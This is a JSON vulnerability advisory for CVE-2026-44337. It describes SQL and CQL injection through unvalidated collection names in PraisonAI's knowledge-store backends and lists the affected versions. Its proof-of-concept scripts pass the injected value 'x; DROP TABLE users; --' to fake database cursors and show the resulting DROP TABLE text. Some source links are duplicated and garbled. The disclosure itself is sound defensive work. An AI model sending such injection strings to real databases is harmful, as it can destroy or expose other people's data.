{"id":"PYSEC-2026-2897","summary":"PraisonAI knowledge-store backends interpolate unvalidated collection names into SQL and CQL queries","details":"### Summary\nPraisonAI exposes optional SQL/CQL-backed knowledge-store implementations that build table and index identifiers from unvalidated `name` and `collection` arguments. Applications that pass untrusted collection names into these backends can trigger SQL or CQL injection.\n\n### Details\nThis issue affects the public persistence layer exported by [persistence/__init__.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/__init__.py:1), which exposes `KnowledgeStore` and `create_knowledge_store()`. The factory wires the affected backends as supported knowledge-store providers in [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:112)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:162):112):\n\n- `pgvector` at [[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/[persistence/factory.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186):162)\n- `cassandra` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:170)\n- `singlestore_vector` at [persistence/factory.py](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/factory.py:186)\n\nThe common root cause is that the `KnowledgeStore` interface accepts free-form collection names in `create_collection()`, `delete_collection()`, `insert()`, `upsert()`, `search()`, `get()`, `delete()`, and `count()` at [[persistence/knowledge/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/base.py:44), but the affected backends interpolate those values directly into query text instead of validating or quoting them.\n\nRepresentative sinks:\n\n- `SingleStoreVectorKnowledgeStore` builds `table_name = f\"{self.table_prefix}{name}\"` and executes raw DDL in [[persistence/knowledge/singlestore_vector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/singlestore_vector.py:92). The same pattern is reused for `delete_collection`, `insert`, `upsert`, `search`, `get`, `delete`, and `count`.\n- `PGVectorKnowledgeStore` builds `public.praison_vec_{collection}` and `idx_{name}_embedding` directly into SQL in [[persistence/knowledge/pgvector.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/pgvector.py:82).\n- `CassandraKnowledgeStore` interpolates `name` and `collection` directly into `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, `DELETE`, and `COUNT` statements in [[persistence/knowledge/cassandra.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/knowledge/cassandra.py:73).\n\nThere is already an internal identifier validator in the conversation persistence layer:\n\n- `validate_identifier()` only allows alphanumeric characters and underscores in [[persistence/conversation/base.py](https://github.com/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)](/Users/shmulc/Stuff/tmp/first-cve/scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence/conversation/base.py:18)\n\nThat validator is used for SQL identifiers such as `table_prefix` and `schema` in the conversation stores, but no equivalent validation is applied in the affected knowledge-store backends.\n\nVersion scope:\n\n- `pgvector.py` and `cassandra.py` were already present by `v2.4.1`\n- `singlestore_vector.py` was present by `v2.4.3`\n- the current PyPI release on May 1, 2026 is `4.6.33`, and the same interpolation patterns are still present\n\nScope note for maintainers: I did not identify a built-in PraisonAI HTTP endpoint that forwards external request data into these specific persistence methods. The issue is in the package's public persistence APIs and affects applications that pass untrusted collection names to the affected backends.\n\n### PoC\nThe following local reproductions show that attacker-controlled collection names become part of the executed SQL text.\n\n1. Reproduce the `SingleStoreVectorKnowledgeStore.delete_collection()` query construction:\n\n```bash\npython3 - \u003c\u003c'PY'\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nbase = pathlib.Path(\"scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence\")\n\nmods = {\n    \"praisonai\": types.ModuleType(\"praisonai\"),\n    \"praisonai.persistence\": types.ModuleType(\"praisonai.persistence\"),\n    \"praisonai.persistence.knowledge\": types.ModuleType(\"praisonai.persistence.knowledge\"),\n}\nfor k, v in mods.items():\n    v.__path__ = []\n    sys.modules[k] = v\n\ndef load(name, path):\n    spec = importlib.util.spec_from_file_location(name, path)\n    mod = importlib.util.module_from_spec(spec)\n    sys.modules[name] = mod\n    spec.loader.exec_module(mod)\n    return mod\n\nload(\"praisonai.persistence.knowledge.base\", base / \"knowledge\" / \"base.py\")\nss = load(\"praisonai.persistence.knowledge.singlestore_vector\", base / \"knowledge\" / \"singlestore_vector.py\")\n\nclass FakeCursor:\n    def __init__(self, parent): self.parent = parent\n    def execute(self, query, params=None): self.parent.calls.append((query, params))\n    def __enter__(self): return self\n    def __exit__(self, *args): return False\n\nclass FakeConn:\n    def __init__(self): self.calls = []\n    def cursor(self): return FakeCursor(self)\n\nstore = ss.SingleStoreVectorKnowledgeStore()\nstore._initialized = True\nstore._conn = FakeConn()\nstore.delete_collection(\"x; DROP TABLE users; --\")\nprint(store._conn.calls[-1][0].strip())\nPY\n```\n\nObserved result:\n\n```text\nDROP TABLE IF EXISTS praisonai_x; DROP TABLE users; --\n```\n\n2. Reproduce the `PGVectorKnowledgeStore.create_collection()` query construction:\n\n```bash\npython3 - \u003c\u003c'PY'\nimport importlib.util\nimport pathlib\nimport sys\nimport types\n\nbase = pathlib.Path(\"scans/variant-hunt/PraisonAI/src/praisonai/praisonai/persistence\")\n\nmods = {\n    \"praisonai\": types.ModuleType(\"praisonai\"),\n    \"praisonai.persistence\": types.ModuleType(\"praisonai.persistence\"),\n    \"praisonai.persistence.knowledge\": types.ModuleType(\"praisonai.persistence.knowledge\"),\n}\nfor k, v in mods.items():\n    v.__path__ = []\n    sys.modules[k] = v\n\ndef load(name, path):\n    spec = importlib.util.spec_from_file_location(name, path)\n    mod = importlib.util.module_from_spec(spec)\n    sys.modules[name] = mod\n    spec.loader.exec_module(mod)\n    return mod\n\nload(\"praisonai.persistence.knowledge.base\", base / \"knowledge\" / \"base.py\")\n\npsycopg2 = types.ModuleType(\"psycopg2\")\nextras = types.ModuleType(\"psycopg2.extras\")\npool = types.ModuleType(\"psycopg2.pool\")\nclass DummyPool:\n    def __init__(self, *a, **k): pass\n    def getconn(self): return None\n    def putconn(self, c): pass\npool.ThreadedConnectionPool = DummyPool\nextras.RealDictCursor = object\npsycopg2.pool = pool\nsys.modules[\"psycopg2\"] = psycopg2\nsys.modules[\"psycopg2.pool\"] = pool\nsys.modules[\"psycopg2.extras\"] = extras\n\npg = load(\"praisonai.persistence.knowledge.pgvector\", base / \"knowledge\" / \"pgvector.py\")\n\nclass FakeCursor:\n    def __init__(self, parent): self.parent = parent\n    def execute(self, query, params=None): self.parent.calls.append((query, params))\n    def __enter__(self): return self\n    def __exit__(self, *args): return False\n\nclass FakeConn:\n    def __init__(self): self.calls = []\n    def cursor(self): return FakeCursor(self)\n    def commit(self): pass\n\nstore = pg.PGVectorKnowledgeStore(auto_create_extension=False)\nconn = FakeConn()\nstore._get_conn = lambda: conn\nstore._put_conn = lambda c: None\nstore.create_collection(\"x; DROP TABLE users; --\", 3)\nfor query, _ in conn.calls:\n    print(query.strip())\nPY\n```\n\nObserved result includes:\n\n```text\nCREATE TABLE IF NOT EXISTS public.praison_vec_x; DROP TABLE users; -- (\nCREATE INDEX IF NOT EXISTS idx_x; DROP TABLE users; --_embedding\n```\n\nThe Cassandra backend follows the same pattern in its `CREATE TABLE`, `DROP TABLE`, `INSERT`, `SELECT`, and `DELETE` statements.\n\n### Impact\nThis issue affects applications that use PraisonAI's optional SQL/CQL knowledge-store backends and pass untrusted collection names into them.\n\nPotential impact depends on backend and driver behavior, but includes:\n\n- malformed queries and backend errors\n- access to unintended tables or indexes\n- execution of attacker-influenced SQL or CQL text where the backend/driver accepts the resulting statement shape\n\nI did not confirm direct exposure through PraisonAI's built-in HTTP server surfaces, so this is best understood as a vulnerability in the package's public persistence APIs rather than a turnkey remote exploit in the default application server.","aliases":["CVE-2026-44337","GHSA-3643-7v76-5cj2"],"modified":"2026-07-13T16:32:48.248228157Z","published":"2026-07-13T15:15:43.408909Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3643-7v76-5cj2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44337"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-3643-7v76-5cj2"}],"affected":[{"package":{"name":"praisonai","ecosystem":"PyPI","purl":"pkg:pypi/praisonai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.1"},{"fixed":"4.6.34"}]}],"versions":["2.4.1","2.4.2","2.4.3","2.4.4","2.5.0","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.5.6","2.5.7","2.6.0","2.6.1","2.6.2","2.6.3","2.6.4","2.6.5","2.6.6","2.6.7","2.6.8","2.7.0","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.1","2.9.2","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.19","3.10.2","3.10.20","3.10.21","3.10.22","3.10.23","3.10.24","3.10.25","3.10.26","3.10.27","3.10.3","3.10.4","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.10","3.11.11","3.11.12","3.11.13","3.11.14","3.11.2","3.11.3","3.11.4","3.11.8","3.11.9","3.12.0","3.12.1","3.12.2","3.12.3","3.2.0","3.2.1","3.3.0","3.3.1","3.4.0","3.4.1","3.5.0","3.5.1","3.5.2","3.5.3","3.5.4","3.5.5","3.5.6","3.5.7","3.5.8","3.5.9","3.6.0","3.6.1","3.6.2","3.7.0","3.7.1","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.8.10","3.8.11","3.8.12","3.8.13","3.8.14","3.8.16","3.8.17","3.8.18","3.8.19","3.8.2","3.8.20","3.8.21","3.8.22","3.8.3","3.8.4","3.8.5","3.8.6","3.8.7","3.8.8","3.8.9","3.9.0","3.9.1","3.9.10","3.9.11","3.9.12","3.9.13","3.9.14","3.9.15","3.9.16","3.9.17","3.9.18","3.9.19","3.9.2","3.9.20","3.9.21","3.9.22","3.9.23","3.9.24","3.9.25","3.9.26","3.9.27","3.9.28","3.9.29","3.9.3","3.9.30","3.9.31","3.9.32","3.9.33","3.9.34","3.9.35","3.9.4","3.9.5","3.9.6","3.9.7","3.9.8","3.9.9","4.0.0","4.1.0","4.2.0","4.2.1","4.2.2","4.2.3","4.2.4","4.3.0","4.3.1","4.4.0","4.4.10","4.4.11","4.4.12","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.7","4.4.8","4.4.9","4.5.0","4.5.1","4.5.10","4.5.100","4.5.101","4.5.102","4.5.103","4.5.104","4.5.105","4.5.106","4.5.107","4.5.108","4.5.109","4.5.11","4.5.110","4.5.111","4.5.112","4.5.113","4.5.114","4.5.115","4.5.117","4.5.118","4.5.119","4.5.12","4.5.120","4.5.121","4.5.122","4.5.123","4.5.124","4.5.125","4.5.126","4.5.127","4.5.128","4.5.129","4.5.13","4.5.130","4.5.131","4.5.132","4.5.133","4.5.134","4.5.135","4.5.136","4.5.137","4.5.139","4.5.14","4.5.140","4.5.143","4.5.144","4.5.145","4.5.149","4.5.15","4.5.16","4.5.18","4.5.19","4.5.2","4.5.20","4.5.21","4.5.22","4.5.23","4.5.24","4.5.25","4.5.26","4.5.27","4.5.28","4.5.29","4.5.3","4.5.30","4.5.31","4.5.32","4.5.33","4.5.34","4.5.35","4.5.36","4.5.37","4.5.38","4.5.39","4.5.40","4.5.41","4.5.42","4.5.43","4.5.44","4.5.45","4.5.46","4.5.48","4.5.49","4.5.5","4.5.51","4.5.52","4.5.54","4.5.55","4.5.56","4.5.57","4.5.58","4.5.59","4.5.6","4.5.60","4.5.62","4.5.63","4.5.64","4.5.65","4.5.67","4.5.68","4.5.69","4.5.7","4.5.70","4.5.71","4.5.72","4.5.73","4.5.74","4.5.76","4.5.77","4.5.78","4.5.79","4.5.8","4.5.80","4.5.81","4.5.82","4.5.83","4.5.85","4.5.87","4.5.88","4.5.89","4.5.9","4.5.90","4.5.93","4.5.94","4.5.95","4.5.96","4.5.97","4.5.98","4.6.10","4.6.11","4.6.12","4.6.13","4.6.14","4.6.15","4.6.16","4.6.18","4.6.19","4.6.20","4.6.21","4.6.22","4.6.23","4.6.24","4.6.25","4.6.26","4.6.27","4.6.28","4.6.29","4.6.30","4.6.31","4.6.32","4.6.33","4.6.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai/PYSEC-2026-2897.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"}]}